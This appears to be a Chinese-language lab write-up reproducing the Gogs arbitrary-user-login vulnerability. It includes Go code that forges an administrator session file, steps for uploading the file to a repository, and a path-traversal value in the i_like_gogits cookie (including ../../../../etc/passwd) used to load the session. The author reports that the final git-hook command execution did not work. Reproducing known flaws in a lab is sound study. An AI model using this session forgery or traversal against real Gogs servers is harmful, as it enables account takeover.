Gogs 任意用户登录漏洞
前置
docker启动镜像
数据库类型选择 SQLite3
搭建完后 docker-compose restart 重新启动镜像清除session内存
复现
执行session代码
package main import ( "bytes" "encoding/gob" "encoding/hex" "fmt" "io/ioutil" ) func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) { for _, v := range obj { gob.Register(v) } buf := bytes.NewBuffer(nil) err := gob.NewEncoder(buf).Encode(obj) return buf.Bytes(), err } func main() { var uid int64 = 1 obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "sockls"} data, err := EncodeGob(obj) if err != nil { fmt.Println(err) } err = ioutil.WriteFile("test.png", data, 0755) if err != nil { fmt.Println(err) } edata := hex.EncodeToString(data) fmt.Println(edata) }
本地上传到服务器操作(以windows为例)
进入到文件夹下 git init 初始化 git add . 添加所有文件 git commit -m "first commit" 提交文件并备注 git remote add origin url.git s设置上传地址 git push -u origin master 推送本地文件到服务器
将执行文件上传至gogs库
抓包修改 i_like_gogit 为 ../../../../etc/passwd 发现 500 报错
修改为任意不存在文件 成功访问到上级目录
这说明如果我们能加载管理员的session,就可以登录管理员的账号
从前端中找到这个仓库的ID
整理一下目前思路
1、生成伪造的管理员session信息 2、通过向仓库中上传文件的方式将伪造的session文件上传至服务端 3、找到文件目录,通过cookie中的i_like_gogits字段指定该文件 4、成功伪造管理员登陆!
通过 git hook 完成命令执行
(感觉总是哪里不对,最后一步就是无法执行出来,算是没有成功复现,但简单思路还是如上)
链接
https://github.com/gogs/gogs/issues/5469